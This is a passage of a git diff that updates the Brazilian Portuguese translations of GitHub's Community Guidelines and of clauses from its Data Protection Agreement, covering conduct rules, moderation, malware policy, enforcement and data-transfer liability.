-We rely on our community members to communicate expectations, [moderate](#what-if-something-or-someone-offends-you) their projects, and {% data variables.contact.report_abuse %} or {% data variables.contact.report_content %}. By outlining what we expect to see within our community, we hope to help you understand how best to collaborate on GitHub, and what type of actions or content may violate our [Terms of Service](#legal-notices), which include our [Acceptable Use Policies](/github/site-policy/github-acceptable-use-policies). We will investigate any abuse reports and may moderate public content on our site that we determine to be in violation of our Terms of Service.
+Contamos com os membros de nossa comunidade para comunicar expectativas, [moderar](#what-if-something-or-someone-offends-you) seus projetos e {% data variables.contact.report_abuse %} ou {% data variables.contact.report_content %}. Ao definir o que esperamos ver em nossa comunidade, esperamos ajudá-lo a entender a melhora forma para colaborar no GitHub e que tipo de ações ou conteúdo podem violar nossos [Termos de Serviço](#legal-notices), que incluem nossas [Políticas de Uso Aceitáveis](/github/site-policy/github-acceptable-use-policies). Investigaremos quaisquer denúncias de abuso e podemos moderar o conteúdo público em nosso site que definirmos como violador de nossos Termos de Serviço.
 
-## Building a strong community
+## Criar uma comunidade integrada
 
-The primary purpose of the GitHub community is to collaborate on software projects.
-We want people to work better together. Although we maintain the site, this is a community we build *together*, and we need your help to make it the best it can be.
+A finalidade principal da comunidade do GitHub é colaborar em projetos de software. Queremos que as pessoas trabalhem melhor em conjunto. Embora mantenhamos o site, essa é uma comunidade que construímos *juntos*, e precisamos da sua ajuda para torná-la a melhor possível.
 
-* **Be welcoming and open-minded** - Other collaborators may not have the same experience level or background as you, but that doesn't mean they don't have good ideas to contribute. We encourage you to be welcoming to new collaborators and those just getting started.
+* **Seja bem-vindo e venha com a mente aberta!** - Outros colaboradores podem não ter o mesmo nível de experiência ou o mesmo histórico que você, mas isso não significa que eles não tenham boas ideias para contribuir. Nós o encorajamos a receber com boas-vindas os novos colaboradores e aqueles que acabaram de chegar.
 
-* **Respect each other.**  Nothing sabotages healthy conversation like rudeness. Be civil and professional, and don’t post anything that a reasonable person would consider offensive, abusive, or hate speech. Don’t harass or grief anyone. Treat each other with dignity and consideration in all interactions.
+* **Respeitem-se.**  Nada sabota tanto as conversas saudáveis quanto a grosseria. Seja cordial e profissional, e não publique nada que uma pessoa de bom senso considere como discurso ofensivo, abusivo ou de ódio. Não assedie ou constranja ninguém. Trate uns aos outros com dignidade e consideração em todas as interações.
 
-  You may wish to respond to something by disagreeing with it. That’s fine. But remember to criticize ideas, not people. Avoid name-calling, ad hominem attacks, responding to a post’s tone instead of its actual content, and knee-jerk contradiction. Instead, provide reasoned counter-arguments that improve the conversation.
+  Você pode querer responder a algo discordando sobre o assunto. Tudo bem. Mas lembre-se de criticar ideias, não pessoas. Evite xingamentos, ataques diretos ad hominem, respondendo ao tom de um post em vez de seu conteúdo real, e reações impulsivas. Em vez disso, forneça contra-argumentos fundamentados que melhorem a conversa.
 
-* **Communicate with empathy** - Disagreements or differences of opinion are a fact of life. Being part of a community means interacting with people from a variety of backgrounds and perspectives, many of which may not be your own. If you disagree with someone, try to understand and share their feelings before you address them. This will promote a respectful and friendly atmosphere where people feel comfortable asking questions, participating in discussions, and making contributions.
+* **Comunique-se com a empatia** - Discordâncias ou diferenças de opinião são um fato da vida. Fazer parte de uma comunidade significa interagir com pessoas de diversas experiências e perspectivas, muitas das quais podem não ser as mesmas que as nossas. Se você discorda de alguém, tente se colocar no lugar da pessoa antes de se dirigir a ela. Isto promoverá uma atmosfera respeitosa e amigável, onde as pessoas se sentem confortáveis em fazer perguntas, participar de discussões e dar suas contribuições.
 
-* **Be clear and stay on topic** - People use GitHub to get work done and to be more productive. Off-topic comments are a distraction (sometimes welcome, but usually not) from getting work done and being productive. Staying on topic helps produce positive and productive discussions.
+* **Seja claro e não fuja do assunto** - As pessoas usam o GitHub para trabalharem e serem mais produtivas. Comentários fora do assunto são uma distração (às vezes, bem-vinda, mas geralmente não) para o trabalho produtivo. Manter-se dentro do assunto ajuda a fomentar debates positivos e produtivos.
 
-   Additionally, communicating with strangers on the Internet can be awkward. It's hard to convey or read tone, and sarcasm is frequently misunderstood. Try to use clear language, and think about how it will be received by the other person.
+   Além disso, comunicar-se com estranhos na internet pode ser desafiador. É difícil comunicar ou ler no tom desejado, e o sarcasmo é frequentemente mal interpretado. Tente usar uma linguagem clara, e pense em como ela será recebida pela outra pessoa.
 
-## What if something or someone offends you?
+## E se algo ou alguém ofender você?
 
-We rely on the community to let us know when an issue needs to be addressed. We do not actively monitor the site for offensive content. If you run into something or someone on the site that you find objectionable, here are some tools GitHub provides to help you take action immediately:
+Contamos com a comunidade para nos informar quando um problema precisa ser resolvido. Não monitoramos ativamente o site para conteúdo ofensivo. Se você encontrar alguma coisa ou alguém no site que você considere censurável, aqui estão algumas ferramentas que o GitHub fornece para ajudá-lo a agir imediatamente:
 
-* **Communicate expectations** - If you participate in a community that has not set their own, community-specific guidelines, encourage them to do so either in the README or [CONTRIBUTING file](/articles/setting-guidelines-for-repository-contributors/), or in [a dedicated code of conduct](/articles/adding-a-code-of-conduct-to-your-project/), by submitting a pull request.
+* **Comunicar expectativas** - Se você participa de uma comunidade que não definiu as diretrizes específicas para a comunidade, incentive-os a fazê-lo no arquivo README ou [no arquivo CONTRIBUTING](/articles/setting-guidelines-for-repository-contributors/), ou em [um código de conduta dedicado](/articles/adding-a-code-of-conduct-to-your-project/), enviando um pull request.
 
-* **Moderate Comments** - If you have [write-access privileges](/articles/repository-permission-levels-for-an-organization/) for a repository, you can edit, delete, or hide anyone's comments on commits, pull requests, and issues. Anyone with read access to a repository can view a comment's edit history. Comment authors and people with write access to a repository can delete sensitive information from a comment's edit history. For more information, see "[Tracking changes in a comment](/articles/tracking-changes-in-a-comment)" and "[Managing disruptive comments](/articles/managing-disruptive-comments)."
+* **Comentários moderados** - Se você tem [privilégios de acesso de gravação](/articles/repository-permission-levels-for-an-organization/) para um repositório, você pode editar, excluir ou ocultar comentários de qualquer pessoa em commits, pull requests e problemas. Qualquer pessoa com acesso de leitura em um repositório pode visualizar o histórico de edição do comentário. Autores do comentário e pessoas com acesso de gravação a um repositório podem excluir informações confidenciais do histórico de edição de um comentário. Para obter mais informações, consulte "[Rastreando alterações em um comentário](/articles/tracking-changes-in-a-comment)" e "[Gerenciando comentários inconvenientes](/articles/managing-disruptive-comments)".
 
-* **Lock Conversations**  - If a discussion in an issue or pull request gets out of control, you can [lock the conversation](/articles/locking-conversations/).
+* **Bloquear conversas** - Se uma discussão em um problema ou pull request fica fora de controle, você pode [bloquear a conversa](/articles/locking-conversations/).
 
-* **Block Users**  - If you encounter a user who continues to demonstrate poor behavior, you can [block the user from your personal account](/articles/blocking-a-user-from-your-personal-account/) or [block the user from your organization](/articles/blocking-a-user-from-your-organization/).
+* **Bloquear Usuários** - Se você encontrar um usuário que continua demonstrando um comportamento ruim, você pode [bloquear o usuário de sua conta pessoal](/articles/blocking-a-user-from-your-personal-account/) ou [bloquear o usuário da sua organização](/articles/blocking-a-user-from-your-organization/).
 
-Of course, you can always contact us to {% data variables.contact.report_abuse %} if you need more help dealing with a situation.
+Claro, você sempre pode entrar em contato conosco em {% data variables.contact.report_abuse %} se precisar de mais ajuda para lidar com uma situação.
 
-## What is not allowed?
+## O que não é permitido?
 
-We are committed to maintaining a community where users are free to express themselves and challenge one another's ideas, both technical and otherwise. Such discussions, however, are unlikely to foster fruitful dialog when ideas are silenced because community members are being shouted down or are afraid to speak up. That means you should be respectful and civil at all times, and refrain from attacking others on the basis of who they are. We do not tolerate behavior that crosses the line into the following:
+Estamos comprometidos em manter uma comunidade onde os usuários são livres para se expressarem e desafiarem as ideias uns dos outros, tanto ideias técnicas como outras. No entanto, essas discussões não promovem diálogos frutíferos quando as ideias são silenciadas porque membros da comunidade estão sendo constrangidos ou têm medo de falar. Isso significa que devemos ser sempre respeitosos e cordiais, e evitarmos atacar os outros com base no que eles são. Não toleramos comportamentos que cruzam os seguintes limites:
 
-- #### Threats of violence 
-   You may not threaten violence towards others or use the site to organize, promote, or incite acts of real-world violence or terrorism. Think carefully about the words you use, the images you post, and even the software you write, and how they may be interpreted by others. Even if you mean something as a joke, it might not be received that way. If you think that someone else *might* interpret the content you post as a threat, or as promoting violence or terrorism, stop. Don't post it on GitHub. In extraordinary cases, we may report threats of violence to law enforcement if we think there may be a genuine risk of physical harm or a threat to public safety.
+- #### Ameaças de violência Você não pode ameaçar terceiros ou usar o site para organizar, promover ou incitar atos de violência ou terrorismo no mundo real. Pense cuidadosamente sobre as palavras que você usa, as imagens que você publica, e até mesmo o software que você escreve, e como podem ser interpretados pelos outros. Mesmo que pretenda fazer uma piada, isso poderá ser interpretado de outra forma. Se você acha que outra pessoa *pode* interpretar o conteúdo que você postou como uma ameaça, ou como uma promoção da violência ou como terrorismo, pare. Não publique isso no GitHub. Em casos excepcionais, podemos relatar ameaças de violência às autoridades competentes, se acreditarmos que pode haver um risco genuíno de danos físicos ou uma ameaça à segurança pública.
 
-- #### Hate speech and discrimination 
-   While it is not forbidden to broach topics such as age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation, we do not tolerate speech that attacks a person or group of people on the basis of who they are. Just realize that when approached in an aggressive or insulting manner, these (and other) sensitive topics can make others feel unwelcome, or perhaps even unsafe. While there's always the potential for misunderstandings, we expect our community members to remain respectful and civil when discussing sensitive topics.
+- #### Discurso de ódio e discriminação Embora não seja proibido abordar tópicos como idade, tamanho do corpo, deficiência física, etnia, identidade e expressão de gênero, nível de experiência, nacionalidade, aparência pessoal, raça, religião ou identidade e orientação sexual, não toleramos discursos que ataquem uma pessoa ou um grupo de pessoas com base em quem elas são. Perceba que quando abordados de forma agressiva ou insultante, estes (e outros) tópicos sensíveis podem fazer com que terceiros se sintam indesejados, ou até mesmo vulneráveis. Embora haja sempre o potencial para mal-entendidos, esperamos que os membros da nossa comunidade permaneçam respeitosos e cordiais quando discutirem temas sensíveis.
 
-- #### Bullying and harassment 
-   We do not tolerate bullying or harassment. This means any habitual badgering or intimidation targeted at a specific person or group of people. In general, if your actions are unwanted and you continue to engage in them, there's a good chance you are headed into bullying or harassment territory.
+- #### Bullying e assédio Não toleramos bullying ou assédio. Isto significa qualquer tipo de insulto ou intimidação habitual dirigida a uma pessoa ou grupo específico de pessoas. Em geral, se suas ações são indesejadas e você continua com o mesmo comportamento, há uma boa chance de você estar praticando bullying ou assédio.
 
-- #### Disrupting the experience of other users 
-   Being part of a community includes recognizing how your behavior affects others and engaging in meaningful and productive interactions with people and the platform they rely on. Behaviors such as repeatedly posting off-topic comments, opening empty or meaningless issues or pull requests, or using any other platform feature in a way that continually disrupts the experience of other users are not allowed. While we encourage maintainers to moderate their own projects on an individual basis, GitHub staff may take further restrictive action against accounts that are engaging in these types of behaviors.
+- #### Interromper a experiência de outros usuários Ser parte de uma comunidade inclui reconhecer como seu comportamento afeta os outros e envolver-se em interações significativas e produtivas com as pessoas e a plataforma de que dependem. Não são permitidos comportamentos como postar repetidamente comentários que fogem ao tópico, abrir problemas ou pull requests vazios ou sem sentido ou usar qualquer recurso de outra plataforma de uma forma que perturbe continuamente a experiência de outros usuários. Embora incentivemos os mantenedores a moderar os seus próprios projetos individualmente, a equipe do GitHub pode ter uma ação restritiva contra contas que estão se envolvendo com esses tipos de comportamento.
 
-- #### Impersonation
-   You may not impersonate another person by copying their avatar, posting content under their email address, using a similar username or otherwise posing as someone else. Impersonation is a form of harassment.
+- #### Personificação Você não pode personificar outra pessoa, copiando o seu avatar, postando conteúdo no seu endereço de e-mail e usando um nome de usuário similar ou passar-se por outra pessoa. A falsidade ideológica é uma forma de assédio.
 
-- #### Doxxing and invasion of privacy 
-   Don't post other people's personal information, such as personal, private email addresses, phone numbers, physical addresses, credit card numbers, Social Security/National Identity numbers, or passwords. Depending on the context, such as in the case of intimidation or harassment, we may consider other information, such as photos or videos that were taken or distributed without the subject's consent, to be an invasion of privacy, especially when such material presents a safety risk to the subject.
+- #### Doxxing e invasão de privacidade Não poste informações pessoais de outras pessoas, como endereços de e-mail pessoais e privados, números de telefone, endereços físicos, números de cartão de crédito, números de previdência social/identidade nacional ou senhas. Dependendo do contexto, como no caso de intimidação ou assédio, podemos considerar que outras informações, como fotos ou vídeos que foram tirados ou distribuídos sem o consentimento do indivíduo, constituem invasão da privacidade, especialmente quando esse material representa um risco para a segurança do indivíduo.
 
-- #### Sexually obscene content
-   Don’t post content that is pornographic. This does not mean that all nudity, or all code and content related to sexuality, is prohibited. We recognize that sexuality is a part of life and non-pornographic sexual content may be a part of your project, or may be presented for educational or artistic purposes. We do not allow obscene sexual content or content that may involve the exploitation or sexualization of minors.
+- #### Conteúdo sexualmente obsceno Não publique conteúdo pornográfico. Isto não significa que seja proibida qualquer nudez, ou qualquer código ou conteúdo relacionados com sexualidade. Reconhecemos que a sexualidade faz parte da vida e que o conteúdo sexual não pornográfico pode fazer parte do seu projeto, ou que possa ser apresentado para fins educacionais ou artísticos. Não permitimos conteúdos sexuais obscenos ou conteúdos que possam envolver a exploração ou a sexualização de menores.
 
-- #### Gratuitously violent content
-   Don’t post violent images, text, or other content without reasonable context or warnings. While it's often okay to include violent content in video games, news reports, and descriptions of historical events, we do not allow violent content that is posted indiscriminately, or that is posted in a way that makes it difficult for other users to avoid (such as a profile avatar or an issue comment). A clear warning or disclaimer in other contexts helps users make an educated decision as to whether or not they want to engage with such content.
+- #### Conteúdo gratuitamente violento Não publique imagens, texto ou outro conteúdo violento sem um contexto razoável ou avisos. Embora muitas vezes não haja problema em incluir conteúdo violento em videogames, boletins e descrições de eventos históricos, não permitimos conteúdos violentos que sejam publicados indiscriminadamente, ou que sejam postados de uma forma que seja difícil evitar ter acesso a eles (como um avatar de perfil ou um comentário de problema). Um aviso claro ou uma declaração em outros contextos ajudam os usuários a tomarem uma decisão sobre se querem ou não se envolver com tal conteúdo.
 
-- #### Misinformation and disinformation
-   You may not post content that presents a distorted view of reality, whether it is inaccurate or false (misinformation) or is intentionally deceptive (disinformation) where such content is likely to result in harm to the public or to interfere with fair and equal opportunities for all to participate in public life. For example, we do not allow content that may put the well-being of groups of people at risk or limit their ability to take part in a free and open society. We encourage active participation in the expression of ideas, perspectives, and experiences and may not be in a position to dispute personal accounts or observations. We generally allow parody and satire that is in line with our Acceptable Use Polices, and we consider context to be important in how information is received and understood; therefore, it may be appropriate to clarify your intentions via disclaimers or other means, as well as the source(s) of your information.
+- #### Informação errada e desinformação Você não pode postar conteúdo que apresente uma visão distorcida da realidade, seja ela imprecisa ou falsa (informação errada) ou intencionalmente enganosa (desinformação) porque esse conteúdo provavelmente resultará em danos ao público ou interferirá em oportunidades justas e iguais para todos participarem da vida pública. Por exemplo, não permitimos conteúdo que possa colocar o bem-estar de grupos de pessoas em risco ou limitar sua capacidade de participar de uma sociedade livre e aberta. Incentivamos a participação ativa na expressão de ideias, perspectivas e experiências e não se pode estar em posição de disputar contas ou observações pessoais. Geralmente, permitimos paródias e sátiras alinhadas com nossas Políticas de Uso Aceitável, e consideramos o contexto importante na forma como as informações são recebidas e compreendidas; portanto, pode ser apropriado esclarecer suas intenções através de isenções de responsabilidade ou outros meios, bem como a fonte(s) de suas informações.
 
-- #### Active malware or exploits
-  Being part of a community includes not taking advantage of other members of the community. We do not allow anyone to use our platform in direct support of unlawful attacks that cause technical harms, such as using GitHub as a means to deliver malicious executables or as attack infrastructure, for example by organizing denial of service attacks or managing command and control servers. Technical harms means overconsumption of resources, physical damage, downtime, denial of service, or data loss, with no implicit or explicit dual-use purpose prior to the abuse occurring.
+- #### Active malware or exploits Being part of a community includes not taking advantage of other members of the community. Não permitimos que ninguém utilize a nossa plataforma em apoio direto de ataques ilegais que causam danos técnicos, como usar o GitHub como um meio de fornecer executáveis maliciosos ou como infraestrutura de ataque, por exemplo, organizando ataques de negação serviço ou gerenciando servidores de comando e controle. Prejuízos técnicos significam excesso de recursos, danos físicos, tempo de inatividade, negação de serviço ou perda de dados, sem qualquer propósito implícito ou explícito de dupla utilização antes de ocorrer o abuso.
 
-  Note that GitHub allows dual-use content and supports the posting of content that is used for research into vulnerabilities, malware, or exploits, as the publication and distribution of such content has educational value and provides a net benefit to the security community. We assume positive intention and use of these projects to promote and drive improvements across the ecosystem. 
+  Observe que o GitHub permite conteúdo de dupla utilização e é compatível com a postagem de conteúdo usado para pesquisa em vulnerabilidades, malware, ou exploração, uma vez que a publicação e distribuição de tal conteúdo tem valor educacional e proporciona um benefício líquido para a comunidade de segurança. Nós supomos uma intenção positiva e a utilização destes projetos para promover e gerar melhoria do ecossistema.
 
-  In rare cases of very widespread abuse of dual-use content, we may restrict access to that specific instance of the content to disrupt an ongoing unlawful attack or malware campaign that is leveraging the GitHub platform as an exploit or malware CDN. In most of these instances, restriction takes the form of putting the content behind authentication, but may, as an option of last resort, involve disabling access or full removal where this is not possible (e.g. when posted as a gist). We will also contact the project owners about restrictions put in place where possible. 
+  Em casos raros de abuso muito generalizado de conteúdo de dupla utilização, podemos restringir o acesso a essa instância específica do conteúdo para interromper um ataque ilegal ou uma campanha de malware que aproveita a plataforma GitHub como um exploit ou malware CDN. Na maioria dessas instâncias, a restrição assume a forma de colocar o conteúdo por trás da autenticação. No entanto, como opção de último recurso, pode envolver a desabilitação do acesso ou a remoção total quando isso não for possível (p. ex., quando postado como um gist). Também entraremos em contato com os proprietários dos projetos sobre restrições implementadas sempre que possível.
 
-  Restrictions are temporary where feasible, and do not serve the purpose of purging or restricting any specific dual-use content, or copies of that content, from the platform in perpetuity. While we aim to make these rare cases of restriction a collaborative process with project owners, if you do feel your content was unduly restricted, we have an [appeals process](#appeal-and-reinstatement) in place.
+  As restrições são temporárias quando possíveis e não servem o propósito de eliminar ou restringir qualquer conteúdo específico de dupla utilização ou cópias desse conteúdo da plataforma. Embora procuremos fazer desses raros casos de restrição um processo de colaboração com os proprietários do projeto, se você sentir que seu conteúdo foi restrito indevidamente, temos um [processo de recursos](#appeal-and-reinstatement) em vigor.
 
-  To facilitate a path to abuse resolution with project maintainers themselves, prior to escalation to GitHub abuse reports, we recommend, but do not require, that repository owners take the following steps when posting potentially harmful security research content:
+  Para facilitar um caminho para a resolução de abuso com os próprios mantenedores do projeto, antes da escalada aos relatórios de abuso do GitHub, recomendamos, embora não exigimos, que os proprietários do repositório sigam as etapas a seguir ao postar conteúdo de pesquisa de segurança potencialmente prejudicial:
 
-    * Clearly identify and describe any potentially harmful content in a disclaimer in the project’s README.md file or source code comments.
-    * Provide a preferred contact method for any 3rd party abuse inquiries through a SECURITY.md file in the repository (e.g. "Please create an issue on this repository for any questions or concerns"). Such a contact method allows 3rd parties to reach out to project maintainers directly and potentially resolve concerns without the need to file abuse reports.
+    * Identifique e descreva claramente qualquer conteúdo potencialmente nocivo em uma isenção de responsabilidade no arquivo README.md do projeto ou comentários do código-fonte.
+    * Forneça um método de contato preferido para qualquer consulta referente ao abuso de terceiros por meio de um arquivo SECURITY.md no repositório (por exemplo, "Crie um problema neste repositório para quaisquer dúvidas ou preocupações"). Esse método de contato permite que terceiros entrem em contato com os mantenedores do projeto diretamente e possivelmente resolvam as questões sem a necessidade de abrir relatórios de abuso.
 
-  *GitHub considers the npm registry to be a platform used primarily for installation and run-time use of code, and not for research.*
+  *O GitHub considera o registro npm como uma plataforma usada principalmente para o uso do código em tempo de execução e não para pesquisas.*
 
 
-## What happens if someone breaks the rules?
+## O que acontece se alguém violar as regras?
 
-There are a variety of actions that we may take when a user reports inappropriate behavior or content. It usually depends on the exact circumstances of a particular case. We recognize that sometimes people may say or do inappropriate things for any number of reasons. Perhaps they did not realize how their words would be perceived. Or maybe they just let their emotions get the best of them. Of course, sometimes, there are folks who just want to spam or cause trouble.
+Há uma variedade de ações que podemos tomar quando um usuário reportar comportamento ou conteúdo inapropriado. Normalmente, depende das circunstâncias exatas de um caso específico. Reconhecemos que, por vezes, as pessoas podem dizer ou fazer coisas inapropriadas por várias razões. Talvez não tenha percebido a forma como suas palavras seriam entendidas. Ou talvez apenas deixam que suas emoções o conduzam. É claro que, muitas vezes, há pessoas que querem apenas fazer spam ou causar problemas.
 
-Each case requires a different approach, and we try to tailor our response to meet the needs of the situation that has been reported. We'll review each abuse report on a case-by-case basis. In each case, we will have a diverse team investigate the content and surrounding facts and respond as appropriate, using these guidelines to guide our decision.
+Cada caso requer uma abordagem diferente e tentamos adaptar a nossa resposta às necessidades da situação que foi comunicada. Vamos avaliar denúncias de abuso caso a caso. Para cada situação, teremos uma equipe diversificada investigando o conteúdo e os fatos envolvidos e responderemos de forma apropriada utilizando estas orientações para guiar nossa decisão.
 
-Actions we may take in response to an abuse report include but are not limited to:
+Ações que podemos fazer em resposta a uma denúncia de abuso incluem, mas não estão limitados a:
 
-* Content Removal
-* Content Blocking
-* Account Suspension
-* Account Termination
+* Remoção de Conteúdo
+* Bloqueio de Conteúdo
+* Suspensão de Conta
+* Encerramento da Conta
 
-## Appeal and Reinstatement
+## Apelação e reinstauração
 
-In some cases there may be a basis to reverse an action, for example, based on additional information a user provided, or where a user has addressed the violation and agreed to abide by our Acceptable Use Policies moving forward. If you wish to appeal an enforcement action, please contact [support](https://support.github.com/contact?tags=docs-policy).
+Em alguns casos, pode haver uma base para reverter uma ação, por exemplo, com base em informações adicionais fornecidas por um usuário ou quando um usuário tiver resolvido a violação e concordado em seguir nossas Políticas de Uso Aceitáveis desse momento em diante. Se você deseja recorrer de uma ação de execução, entre em contato com o [suporte](https://support.github.com/contact?tags=docs-policy).
 
-## Legal Notices
+## Avisos Legais
 
-We dedicate these Community Guidelines to the public domain for anyone to use, reuse, adapt, or whatever, under the terms of [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/).
+Colocamos essas Diretrizes da Comunidade em domínio público para que qualquer pessoa use, reutilize, adapte, ou seja o que for, nos termos de [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/).
 
-These are only guidelines; they do not modify our [Terms of Service](/articles/github-terms-of-service/) and are not intended to be a complete list. GitHub retains full discretion under the [Terms of Service](/articles/github-terms-of-service/#c-acceptable-use) to remove any content or terminate any accounts for activity that violates our Terms on Acceptable Use. These guidelines describe when we will exercise that discretion.
+Estas são apenas diretrizes; elas não modificam nossos [Termos de Serviço](/articles/github-terms-of-service/) e não pretendem ser uma lista completa. O GitHub detém total critério conforme os [Termos de Serviço](/articles/github-terms-of-service/#c-acceptable-use) para remover qualquer conteúdo ou cancelar quaisquer contas por atividade que viole os Termos de Uso Aceitável. Estas diretrizes descrevem quando iremos exercer esse critério.
diff --git a/translations/pt-BR/content/github/site-policy/github-data-protection-agreement.md b/translations/pt-BR/content/github/site-policy/github-data-protection-agreement.md
index d973341448..b42f88d94e 100644
--- a/translations/pt-BR/content/github/site-policy/github-data-protection-agreement.md
+++ b/translations/pt-BR/content/github/site-policy/github-data-protection-agreement.md
@@ -361,7 +361,7 @@ Os detalhes das transferências e, em particular, as categorias de dados pessoai
 
 ##### Cláusula 7
 
-**Docking clause**
+**Cláusula de acoplamento**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
     <li>Uma entidade que não for parte nestas cláusulas pode, com o acordo das partes, aderir a qualquer momento a estas cláusulas. seja como exportador ou importador de dados, preenchendo o Apêndice e assinando o Anexo I.A.</li>
@@ -411,16 +411,16 @@ O processamento pelo importador de dados só ocorrerá durante a duração espec
 
 Quando a transferência envolver dados pessoais que revelem a origem racial ou étnica, opiniões políticas, convicções religiosas ou filosóficas, ou associações sindicais, dados genéticos ou dados biométricos para fins únicos de identificação da pessoa física, dados relativos à saúde ou à vida sexual ou à orientação sexual de uma pessoa, ou dados referentes a condenações criminosas e crimes (doravante “dados confidenciais”), o importador de dados deverá aplicar as restrições específicas e/ou salvaguardas adicionais descritas no Anexo I.B.
 
-**8.8 Onward transfers**
+**8.8 Transferências posteriores**
 
-O importador de dados só divulgará os dados pessoais a terceiros com base em instruções documentadas do exportador de dados. In addition, the data may only be disclosed to a third party located outside the European Union <sup><a href="#EEA">(1)</a></sup> (in the same country as the data importer or in another third country, hereinafter ‘onward transfer’) if the third party is or agrees to be bound by these Clauses, under the appropriate Module, or if:
+O importador de dados só divulgará os dados pessoais a terceiros com base em instruções documentadas do exportador de dados. Além disso, os dados só podem ser divulgados a terceiroz localizados fora da União Europeia <sup><a href="#EEA">(1)</a></sup> (no mesmo país que o importador de dados ou em outro país, doravante referido como "transferência posterior"), caso o terceiro concorde em ser vinculado por essas cláusulas, sob o módulo apropriado ou se:
 
 <ol style="list-style-type:lower-roman" class="no-styling">
-    <li>the onward transfer is to a country benefitting from an adequacy decision pursuant to Article 45 of Regulation (EU) 2016/679 that covers the onward transfer;</li>
+    <li>a transferência posterior for para um país que beneficia de uma decisão de adequação nos termos do artigo 45 do Regulamento (UE) 2016/679 que cobre a transferência posterior;</li>
     <li>de outra forma, a terceira parte assegura as salvaguardas adequadas nos termos dos artigos 46 ou 47 do Regulamentos (UE) 2016/679 no que se refere ao processamento em questão;</li>
-    <li>the onward transfer is necessary for the establishment, exercise or defence of legal claims in the context of specific administrative, regulatory or judicial proceedings; or</li>
-    <li>the onward transfer is necessary in order to protect the vital interests of the data subject or of another natural person.</li></br>
-    Any onward transfer is subject to compliance by the data importer with all the other safeguards under these Clauses, in particular purpose limitation. 
+    <li>a transferência em curso for necessária para o estabelecimento, exercício ou defesa de ações judiciais no contexto de procedimentos administrativos, regulamentares ou judiciais específicos; ou</li>
+    <li>a transferência em curso for necessária para proteger os interesses vitais do titular de dados ou de outra pessoa física.</li></br>
+    Qualquer transferência posterior está sujeita ao cumprimento, por parte do importador de dados, de todas as outras salvaguardas ao abrigo destas alegações, em particular a limitação dos objetivos. 
 </ol>
 
 **8.9 Documentação e conformidade**
@@ -457,14 +457,14 @@ O importador de dados só divulgará os dados pessoais a terceiros com base em i
 
 ##### Cláusula 11
 
-**Redress**
+**Reparação**
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
     <li>O importador de dados deve informar aos titulares de dados em um formato transparente e facilmente acessível, por meio de notificação individual ou no seu site, um ponto de contato autorizado para administrar as reclamações. Ele tratará prontamente todas as reclamações que receber de um titular de dados.</li>
     <li>Em caso de disputa entre um titular de dados e uma das Partes no que diz respeito à conformidade com estas Clauses, a Parte irá eforçar-se ao máximo para resolver o problema d forma amigágel e em tempo hábil. As Partes manter-se-ão informadas sobre estes litígios e, sempre que necessário, cooperarão na sua solução.</li>
     <li>Quando o sujeito dos dados invocar um direito beneficiário de terceiros, conforme a Cláusula 3, o importador de dados aceitará a decisão do sujeito dos dados para:</li>
     <ol style="list-style-type:lower-roman" class="no-styling">
-        <li>lodge a complaint with the supervisory authority in the Member State of his/her habitual residence or place of work, or the competent supervisory authority pursuant to Clause 13;</li>
+        <li>apresentar uma queixa junto à autoridade de supervisão no Estado-membro da sua residência ou local de trabalho habitual ou a autoridade supervisora competente nos termos da Cláusula 13;</li>
         <li>consulte a questão para os tribunais competentes no âmbito da Cláusula 18.</li>
     </ol>
     <li>As Partes aceitam que o titular dos dados pode ser representado por uma entidade sem fins lucrativos, organização ou associação nas condições estabelecidas no artigo 80(1) do Regulamento (EU) 2016/679.</li>
@@ -478,61 +478,61 @@ O importador de dados só divulgará os dados pessoais a terceiros com base em i
 
 <ol style="list-style-type:lower-alpha" class="no-styling">
     <li>Cada Parte será responsável pela(s) outra(s) Parte(s) por quaisquer danos causados à(s) outra(s) Parte(s) em razão de violação dessas Cláusulas.</li>
-    <li>The data importer shall be liable to the data subject, and the data subject shall be entitled to receive compensation, for any material or non-material damages the data importer or its sub-processor causes the data subject by breaching the third-party beneficiary rights under these Clauses.</li>
-    <li>Notwithstanding paragraph (b), the data exporter shall be liable to the data subject, and the data subject shall be entitled to receive compensation, for any material or non-material damages the data exporter or the data importer (or its sub-processor) causes the data subject by breaching the third-party beneficiary rights under these Clauses. Isto sem prejuízo da responsabilidade do exportador de dados e, quando o exportador de dados é um processador que atua em nome de um controlador, sem prejuízo da responsabilidade do controlador nos termos do Regulamento (UE) 2016/679 ou do Regulamento (UE) 2018/1725, conforme aplicável.</li>
-    <li>The Parties agree that if the data exporter is held liable under paragraph (c) for damages caused by the data importer (or its sub-processor), it shall be entitled to claim back from the data importer that part of the compensation corresponding to the data importer’s responsibility for the damage.</li>
-    <li>Where more than one Party is responsible for any damage caused to the data subject as a result of a breach of these Clauses, all responsible Parties shall be jointly and severally liable and the data subject is entitled to bring an action in court against any of these Parties.</li>
-    <li>The Parties agree that if one Party is held liable under paragraph (e), it shall be entitled to claim back from the other Party/ies that part of the compensation corresponding to its/their responsibility for the damage.</li>
-    <li>The data importer may not invoke the conduct of a sub-processor to avoid its own liability.</li>
+    <li>O importador de dados será responsável pelo titular de dadose este terá o direito a receber uma compensação por qualquer dano material ou não material que o importador de dados ou seus subprocessadores causarem ao titular de dados que violem os direitos dos beneficiários de terceiros nos termos dessas cláusulas.</li>
+    <li>Não obstante o parágrafo (b), o exportador de dados será responsável pelo titular de dados e este terá direito a receber uma compensação por quaisquer danos materiais ou não materiais que o exportador de dados ou o importador de dados (ou seus subprocessadores) causarem para o titular de dados, que violem os direitos do beneficiário de terceiros nos termos dessas cláusulas. Isto sem prejuízo da responsabilidade do exportador de dados e, quando o exportador de dados é um processador que atua em nome de um controlador, sem prejuízo da responsabilidade do controlador nos termos do Regulamento (UE) 2016/679 ou do Regulamento (UE) 2018/1725, conforme aplicável.</li>
+    <li>As Partes concordam que, se o exportador de dados for considerado responsável nos termos do parágrafo (c) por danos causados pelo importador de dados (ou seu subprocessador), ele terá o direito de solicitar ao importador de dados a parte da compensação correspondente à responsabilidade do importador de dados referentes aos danos.</li>
+    <li>Quando mais de uma Parte for responsável por danos causados ao titular de dados, como resultado de uma violação dessas cláusulas, todas as partes responsáveis serão corresponsáveis, e o titular dos dados terá o direito de interpor uma ação contra qualquer destas partes.</li>
